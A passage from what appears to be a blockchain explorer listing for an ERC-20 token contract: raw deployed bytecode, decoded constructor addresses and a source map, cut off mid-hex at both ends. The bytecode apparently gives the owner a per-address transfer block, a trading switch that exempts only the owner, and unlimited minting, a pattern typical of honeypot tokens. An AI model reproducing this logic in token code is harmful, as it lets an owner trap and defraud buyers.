fffffffffffffff161415610545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053c90611774565b60405180910390fd5b816005600082825461055791906118fc565b9250508190555080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ad91906118a6565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106129190611854565b60405180910390a3505050565b6000600460009054906101000a900460ff16905090565b6000600554905090565b600061064d848484610f17565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610698610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070f90611794565b60405180910390fd5b61072c85610724610d44565b858403610d4c565b60019150509392505050565b60006009905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006108396107a4610d44565b8484600260006107b2610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461083491906118a6565b610d4c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610894610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610921576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610918906117b4565b60405180910390fd5b60011515600460009054906101000a900460ff161515141561095d576000600460006101000a81548160ff021916908315150217905550610979565b6001600460006101000a81548160ff0219169083151502179055505b565b60606008805461098a906119b8565b80601f01602080910402602001604051908101604052809291908181526020018280546109b6906119b8565b8015610a035780601f106109d857610100808354040283529160200191610a03565b820191906000526020600020905b8154815290600101906020018083116109e657829003601f168201915b5050505050905090565b60008060026000610a1c610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad090611834565b60405180910390fd5b610aed610ae4610d44565b85858403610d4c565b600191505092915050565b6000610b0c610b05610d44565b8484610f17565b6001905092915050565b610b1e610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba2906117b4565b60405180910390fd5b60011515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610c61576000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610cba565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db390611814565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2390611734565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0a9190611854565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e906117d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fee90611714565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806110985750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110e157600081146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906117f4565b60405180910390fd5b5b60011515600460009054906101000a900460ff16151514806111355750611106611377565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111725750611143611377565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561131b576111828383836113a0565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611209576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120090611754565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461129e91906118a6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113029190611854565b60405180910390a36113158484846113a5565b50611372565b60011515600460009054906101000a900460ff16151514611371576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611368906117f4565b60405180910390fd5b5b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b6000813590506113b981611cfd565b92915050565b6000813590506113ce81611d14565b92915050565b6000602082840312156113e657600080fd5b60006113f4848285016113aa565b91505092915050565b6000806040838503121561141057600080fd5b600061141e858286016113aa565b925050602061142f858286016113aa565b9150509250929050565b60008060006060848603121561144e57600080fd5b600061145c868287016113aa565b935050602061146d868287016113aa565b925050604061147e868287016113bf565b9150509250925092565b6000806040838503121561149b57600080fd5b60006114a9858286016113aa565b92505060206114ba858286016113bf565b9150509250929050565b6000806000606084860312156114d957600080fd5b60006114e7868287016113aa565b93505060206114f8868287016113bf565b9250506040611509868287016113bf565b9150509250925092565b61151c81611942565b82525050565b600061152d8261188a565b6115378185611895565b9350611547818560208601611985565b61155081611a48565b840191505092915050565b6000611568602383611895565b915061157382611a59565b604082019050919050565b600061158b602283611895565b915061159682611aa8565b604082019050919050565b60006115ae602683611895565b91506115b982611af7565b604082019050919050565b60006115d1602c83611895565b91506115dc82611b46565b604082019050919050565b60006115f4602883611895565b91506115ff82611b95565b604082019050919050565b6000611617602083611895565b915061162282611be4565b602082019050919050565b600061163a602583611895565b915061164582611c0d565b604082019050919050565b600061165d600083611895565b915061166882611c5c565b600082019050919050565b6000611680602483611895565b915061168b82611c5f565b604082019050919050565b60006116a3602583611895565b91506116ae82611cae565b604082019050919050565b6116c28161196e565b82525050565b6116d181611978565b82525050565b60006020820190506116ec6000830184611513565b92915050565b6000602082019050818103600083015261170c8184611522565b905092915050565b6000602082019050818103600083015261172d8161155b565b9050919050565b6000602082019050818103600083015261174d8161157e565b9050919050565b6000602082019050818103600083015261176d816115a1565b9050919050565b6000602082019050818103600083015261178d816115c4565b9050919050565b600060208201905081810360008301526117ad816115e7565b9050919050565b600060208201905081810360008301526117cd8161160a565b9050919050565b600060208201905081810360008301526117ed8161162d565b9050919050565b6000602082019050818103600083015261180d81611650565b9050919050565b6000602082019050818103600083015261182d81611673565b9050919050565b6000602082019050818103600083015261184d81611696565b9050919050565b600060208201905061186960008301846116b9565b92915050565b600060208201905061188460008301846116c8565b92915050565b600081519050919050565b600082825260208201905092915050565b60006118b18261196e565b91506118bc8361196e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118f1576118f06119ea565b5b828201905092915050565b60006119078261196e565b91506119128361196e565b925082821015611925576119246119ea565b5b828203905092915050565b600061193b8261194e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156119a3578082015181840152602081019050611988565b838111156119b2576000848401525b50505050565b600060028204905060018216806119d057607f821691505b602082108114156119e4576119e3611a19565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611d0681611930565b8114611d1157600080fd5b50565b611d1d8161196e565b8114611d2857600080fd5b5056fea26469706673582212202e1b6fbbad047f687eae8d804d34e0c630b8be5a8f1f79292cd21111a58b45a264736f6c63430008010033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
-----Decoded View---------------
Arg [0] : rter (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : fctr (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Deployed Bytecode Sourcemap
377:7269:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1531:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2920:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1371:90;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5557:319;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7132:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2110:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3155:474;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1953:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6735:115;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3739:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2281:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6913:135;;;:::i;:::-;;1742:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4064:397;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2470:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6440:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2708:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1531:100;1585:13;1618:5;1611:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1531:100;:::o;2920:169::-;3003:4;3020:39;3029:12;:10;:12::i;:::-;3043:7;3052:6;3020:8;:39::i;:::-;3077:4;3070:11;;2920:169;;;;:::o;1371:90::-;1416:7;1443:10;;1436:17;;1371:90;:::o;5557:319::-;992:12:4;:10;:12::i;:::-;982:22;;:6;;;;;;;;;;:22;;;974:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5686:1:3::1;5667:21;;:7;:21;;;;5659:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;5764:7;5748:12;;:23;;;;;;;:::i;:::-;;;;;;;;5804:10;5782:9;:18;5792:7;5782:18;;;;;;;;;;;;;;;;:32;;;;;;;:::i;:::-;;;;;;;;5856:1;5830:38;;5839:7;5830:38;;;5860:7;5830:38;;;;;;:::i;:::-;;;;;;;;5557:319:::0;;;:::o;7132:83::-;7176:4;7196:11;;;;;;;;;;;7189:18;;7132:83;:::o;2110:108::-;2171:7;2198:12;;2191:19;;2110:108;:::o;3155:474::-;3295:4;3312:36;3322:6;3330:9;3341:6;3312:9;:36::i;:::-;3359:24;3386:11;:19;3398:6;3386:19;;;;;;;;;;;;;;;:33;3406:12;:10;:12::i;:::-;3386:33;;;;;;;;;;;;;;;;3359:60;;3458:6;3438:16;:26;;3430:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;3541:57;3550:6;3558:12;:10;:12::i;:::-;3591:6;3572:16;:25;3541:8;:57::i;:::-;3617:4;3610:11;;;3155:474;;;;;:::o;1953:92::-;2011:5;2036:1;2029:8;;1953:92;:::o;6735:115::-;6792:4;6816:16;:26;6833:8;6816:26;;;;;;;;;;;;;;;;;;;;;;;;;6809:33;;6735:115;;;:::o;3739:215::-;3827:4;3844:80;3853:12;:10;:12::i;:::-;3867:7;3913:10;3876:11;:25;3888:12;:10;:12::i;:::-;3876:25;;;;;;;;;;;;;;;:34;3902:7;3876:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;3844:8;:80::i;:::-;3942:4;3935:11;;3739:215;;;;:::o;2281:127::-;2355:7;2382:9;:18;2392:7;2382:18;;;;;;;;;;;;;;;;2375:25;;2281:127;;;:::o;6913:135::-;992:12:4;:10;:12::i;:::-;982:22;;:6;;;;;;;;;;:22;;;974:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6986:4:3::1;6971:19;;:11;;;;;;;;;;;:19;;;6967:74;;;7007:5;6993:11;;:19;;;;;;;;;;;;;;;;;;6967:74;;;7035:4;7021:11;;:18;;;;;;;;;;;;;;;;;;6967:74;6913:135::o:0;1742:104::-;1798:13;1831:7;1824:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1742:104;:::o;4064:397::-;4157:4;4174:24;4201:11;:25;4213:12;:10;:12::i;:::-;4201:25;;;;;;;;;;;;;;;:34;4227:7;4201:34;;;;;;;;;;;;;;;;4174:61;;4274:15;4254:16;:35;;4246:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;4363:67;4372:12;:10;:12::i;:::-;4386:7;4414:15;4395:16;:34;4363:8;:67::i;:::-;4449:4;4442:11;;;4064:397;;;;:::o;2470:175::-;2556:4;2573:42;2583:12;:10;:12::i;:::-;2597:9;2608:6;2573:9;:42::i;:::-;2633:4;2626:11;;2470:175;;;;:::o;6440:210::-;992:12:4;:10;:12::i;:::-;982:22;;:6;;;;;;;;;;:22;;;974:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6548:4:3::1;6518:34;;:16;:26;6535:8;6518:26;;;;;;;;;;;;;;;;;;;;;;;;;:34;;;6514:129;;;6584:5;6555:16;:26;6572:8;6555:26;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;6514:129;;;6636:4;6607:16;:26;6624:8;6607:26;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;6514:129;6440:210:::0;:::o;2708:151::-;2797:7;2824:11;:18;2836:5;2824:18;;;;;;;;;;;;;;;:27;2843:7;2824:27;;;;;;;;;;;;;;;;2817:34;;2708:151;;;;:::o;602:98:0:-;655:7;682:10;675:17;;602:98;:::o;5990:378:3:-;6143:1;6126:19;;:5;:19;;;;6118:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6224:1;6205:21;;:7;:21;;;;6197:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6306:6;6276:11;:18;6288:5;6276:18;;;;;;;;;;;;;;;:27;6295:7;6276:27;;;;;;;;;;;;;;;:36;;;;6344:7;6328:32;;6337:5;6328:32;;;6353:6;6328:32;;;;;;:::i;:::-;;;;;;;;5990:378;;;:::o;4555:907::-;4679:1;4661:20;;:6;:20;;;;4653:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;4763:1;4742:23;;:9;:23;;;;4734:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;4820:16;:24;4837:6;4820:24;;;;;;;;;;;;;;;;;;;;;;;;;:55;;;;4848:16;:27;4865:9;4848:27;;;;;;;;;;;;;;;;;;;;;;;;;4820:55;4816:86;;;4896:1;4886:6;:11;4877:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;4816:86;4932:4;4917:19;;:11;;;;;;;;;;;:19;;;:40;;;;4950:7;:5;:7::i;:::-;4940:17;;:6;:17;;;4917:40;:64;;;;4974:7;:5;:7::i;:::-;4961:20;;:9;:20;;;4917:64;4913:542;;;4994:47;5015:6;5023:9;5034:6;4994:20;:47::i;:::-;5052:21;5076:9;:17;5086:6;5076:17;;;;;;;;;;;;;;;;5052:41;;5129:6;5112:13;:23;;5104:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;5246:6;5230:13;:22;5210:9;:17;5220:6;5210:17;;;;;;;;;;;;;;;:42;;;;5288:6;5264:9;:20;5274:9;5264:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5327:9;5310:35;;5319:6;5310:35;;;5338:6;5310:35;;;;;;:::i;:::-;;;;;;;;5356:46;5376:6;5384:9;5395:6;5356:19;:46::i;:::-;4913:542;;;;5444:4;5429:19;;:11;;;;;;;;;;;:19;;;5420:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;4913:542;4555:907;;;:::o;768:81:4:-;808:7;835:6;;;;;;;;;;;828:13;;768:81;:::o;7305:125:3:-;;;;:::o;7519:124::-;;;;:::o;7:139:5:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:552::-;;;;2091:2;2079:9;2070:7;2066:23;2062:32;2059:2;;;2107:1;2104;2097:12;2059:2;2150:1;2175:53;2220:7;2211:6;2200:9;2196:22;2175:53;:::i;:::-;2165:63;;2121:117;2277:2;2303:53;2348:7;2339:6;2328:9;2324:22;2303:53;:::i;:::-;2293:63;;2248:118;2405:2;2431:53;2476:7;2467:6;2456:9;2452:22;2431:53;:::i;:::-;2421:63;;2376:118;2049:452;;;;;:::o;2507:109::-;2588:21;2603:5;2588:21;:::i;:::-;2583:3;2576:34;2566:50;;:::o;2622:364::-;;2738:39;2771:5;2738:39;:::i;:::-;2793:71;2857:6;2852:3;2793:71;:::i;:::-;2786:78;;2873:52;2918:6;2913:3;2906:4;2899:5;2895:16;2873:52;:::i;:::-;2950:29;2972:6;2950:29;:::i;:::-;2945:3;2941:39;2934:46;;2714:272;;;;;:::o;2992:366::-;;3155:67;3219:2;3214:3;3155:67;:::i;:::-;3148:74;;3231:93;3320:3;3231:93;:::i;:::-;3349:2;3344:3;3340:12;3333:19;;3138:220;;;:::o;3364:366::-;;3527:67;3591:2;3586:3;3527:67;:::i;:::-;3520:74;;3603:93;3692:3;3603:93;:::i;:::-;3721:2;3716:3;3712:12;3705:19;;3510:220;;;:::o;3736:366::-;;3899:67;3963:2;3958:3;3899:67;:::i;:::-;3892:74;;3975:93;4064:3;3975:93;:::i;:::-;4093:2;4088:3;4084:12;4077:19;;3882:220;;;:::o;4108:366::-;;4271:67;4335:2;4330:3;4271:67;:::i;:::-;4264:74;;4347:93;4436:3;4347:93;:::i;:::-;4465:2;4460:3;4456:12;4449:19;;4254:220;;;:::o;4480:366::-;;4643:67;4707:2;4702:3;4643:67;:::i;:::-;4636:74;;4719:93;4808:3;4719:93;:::i;:::-;4837:2;4832:3;4828:12;4821:19;;4626:220;;;:::o;4852:366::-;;5015:67;5079:2;5074:3;5015:67;:::i;:::-;5008:74;;5091:93;5180:3;5091:93;:::i;:::-;5209:2;5204:3;5200:12;5193:19;;4998:220;;;:::o;5224:366::-;;5387:67;5451:2;5446:3;5387:67;:::i;:::-;5380:74;;5463:93;5552:3;5463:93;:::i;:::-;5581:2;5576:3;5572:12;5565:19;;5370:220;;;:::o;5596:364::-;;5759:66;5823:1;5818:3;5759:66;:::i;:::-;5752:73;;5834:93;5923:3;5834:93;:::i;:::-;5952:1;5947:3;5943:11;5936:18;;5742:218;;;:::o;5966:366::-;;6129:67;6193:2;6188:3;6129:67;:::i;:::-;6122:74;;6205:93;6294:3;6205:93;:::i;:::-;6323:2;6318:3;6314:12;6307:19;;6112:220;;;:::o;6338:366::-;;6501:67;6565:2;6560:3;6501:67;:::i;:::-;6494:74;;6577:93;6666:3;6577:93;:::i;:::-;6695:2;6690:3;6686:12;6679:19;;6484:220;;;:::o;6710:118::-;6797:24;6815:5;6797:24;:::i;:::-;6792:3;6785:37;6775:53;;:::o;6834:112::-;6917:22;6933:5;6917:22;:::i;:::-;6912:3;6905:35;6895:51;;:::o;6952:210::-;;7077:2;7066:9;7062:18;7054:26;;7090:65;7152:1;7141:9;7137:17;7128:6;7090:65;:::i;:::-;7044:118;;;;:::o;7168:313::-;;7319:2;7308:9;7304:18;7296:26;;7368:9;7362:4;7358:20;7354:1;7343:9;7339:17;7332:47;7396:78;7469:4;7460:6;7396:78;:::i;:::-;7388:86;;7286:195;;;;:::o;7487:419::-;;7691:2;7680:9;7676:18;7668:26;;7740:9;7734:4;7730:20;7726:1;7715:9;7711:17;7704:47;7768:131;7894:4;7768:131;:::i;:::-;7760:139;;7658:248;;;:::o;7912:419::-;;8116:2;8105:9;8101:18;8093:26;;8165:9;8159:4;8155:20;8151:1;8140:9;8136:17;8129:47;8193:131;8319:4;8193:131;:::i;:::-;8185:139;;8083:248;;;:::o;8337:419::-;;8541:2;8530:9;8526:18;8518:26;;8590:9;8584:4;8580:20;8576:1;8565:9;8561:17;8554:47;8618:131;8744:4;8618:131;:::i;:::-;8610:139;;8508:248;;;:::o;8762:419::-;;8966:2;8955:9;8951:18;8943:26;;9015:9;9009:4;9005:20;9001:1;8990:9;8986:17;8979:47;9043:131;9169:4;9043:131;:::i;:::-;9035:139;;8933:248;;;:::o;9187:419::-;;9391:2;9380:9;9376:18;9368:26;;9440:9;9434:4;9430:20;9426:1;9415:9;9411:17;9404:47;9468:131;9594:4;9468:131;:::i;:::-;9460:139;;9358:248;;;:::o;9612:419::-;;9816:2;9805:9;9801:18;9793:26;;9865:9;9859:4;9855:20;9851:1;9840:9;9836:17;9829:47;9893:131;10019:4;9893:131;:::i;:::-;9885:139;;9783:248;;;:::o;10037:419::-;;10241:2;10230:9;10226:18;10218:26;;10290:9;10284:4;10280:20;10276:1;10265:9;10261:17;10254:47;10318:131;10444:4;10318:131;:::i;:::-;10310:139;;10208:248;;;:::o;10462:419::-;;10666:2;10655:9;10651:18;10643:26;;10715:9;10709:4;10705:20;10701:1;10690:9;10686:17;10679:47;10743:131;10869:4;10743:131;:::i;:::-;10735:139;;10633:248;;;:::o;10887:419::-;;11091:2;11080:9;11076:18;11068:26;;11140:9;11134:4;11130:20;11126:1;11115:9;11111:17;11104:47;11168:131;11294:4;11168:131;:::i;:::-;11160:139;;11058:248;;;:::o;11312:419::-;;11516:2;11505:9;11501:18;11493:26;;11565:9;11559:4;11555:20;11551:1;11540:9;11536:17;11529:47;11593:131;11719:4;11593:131;:::i;:::-;11585:139;;11483:248;;;:::o;11737:222::-;;11868:2;11857:9;11853:18;11845:26;;11881:71;11949:1;11938:9;11934:17;11925:6;11881:71;:::i;:::-;11835:124;;;;:::o;11965:214::-;;12092:2;12081:9;12077:18;12069:26;;12105:67;12169:1;12158:9;12154:17;12145:6;12105:67;:::i;:::-;12059:120;;;;:::o;12185:99::-;;12271:5;12265:12;12255:22;;12244:40;;;:::o;12290:169::-;;12408:6;12403:3;12396:19;12448:4;12443:3;12439:14;12424:29;;12386:73;;;;:::o;12465:305::-;;12524:20;12542:1;12524:20;:::i;:::-;12519:25;;12558:20;12576:1;12558:20;:::i;:::-;12553:25;;12712:1;12644:66;12640:74;12637:1;12634:81;12631:2;;;12718:18;;:::i;:::-;12631:2;12762:1;12759;12755:9;12748:16;;12509:261;;;;:::o;12776:191::-;;12836:20;12854:1;12836:20;:::i;:::-;12831:25;;12870:20;12888:1;12870:20;:::i;:::-;12865:25;;12909:1;12906;12903:8;12900:2;;;12914:18;;:::i;:::-;12900:2;12959:1;12956;12952:9;12944:17;;12821:146;;;;:::o;12973:96::-;;13039:24;13057:5;13039:24;:::i;:::-;13028:35;;13018:51;;;:::o;13075:90::-;;13152:5;13145:13;13138:21;13127:32;;13117:48;;;:::o;13171:126::-;;13248:42;13241:5;13237:54;13226:65;;13216:81;;;:::o;13303:77::-;;13369:5;13358:16;;13348:32;;;:::o;13386:86::-;;13461:4;13454:5;13450:16;13439:27;;13429:43;;;:::o;13478:307::-;13546:1;13556:113;13570:6;13567:1;13564:13;13556:113;;;13655:1;13650:3;13646:11;13640:18;13636:1;13631:3;13627:11;13620:39;13592:2;13589:1;13585:10;13580:15;;13556:113;;;13687:6;13684:1;13681:13;13678:2;;;13767:1;13758:6;13753:3;13749:16;13742:27;13678:2;13527:258;;;;:::o;13791:320::-;;13872:1;13866:4;13862:12;13852:22;;13919:1;13913:4;13909:12;13940:18;13930:2;;13996:4;13988:6;13984:17;13974:27;;13930:2;14058;14050:6;14047:14;14027:18;14024:38;14021:2;;;14077:18;;:::i;:::-;14021:2;13842:269;;;;:::o;14117:180::-;14165:77;14162:1;14155:88;14262:4;14259:1;14252:15;14286:4;14283:1;14276:15;14303:180;14351:77;14348:1;14341:88;14448:4;14445:1;14438:15;14472:4;14469:1;14462:15;14489:102;;14581:2;14577:7;14572:2;14565:5;14561:14;14557:28;14547:38;;14537:54;;;:::o;14597:222::-;14737:34;14733:1;14725:6;14721:14;14714:58;14806:5;14801:2;14793:6;14789:15;14782:30;14703:116;:::o;14825:221::-;14965:34;14961:1;14953:6;14949:14;14942:58;15034:4;15029:2;15021:6;15017:15;15010:29;14931:115;:::o;15052:225::-;15192:34;15188:1;15180:6;15176:14;15169:58;15261:8;15256:2;15248:6;15244:15;15237:33;15158:119;:::o;15283:231::-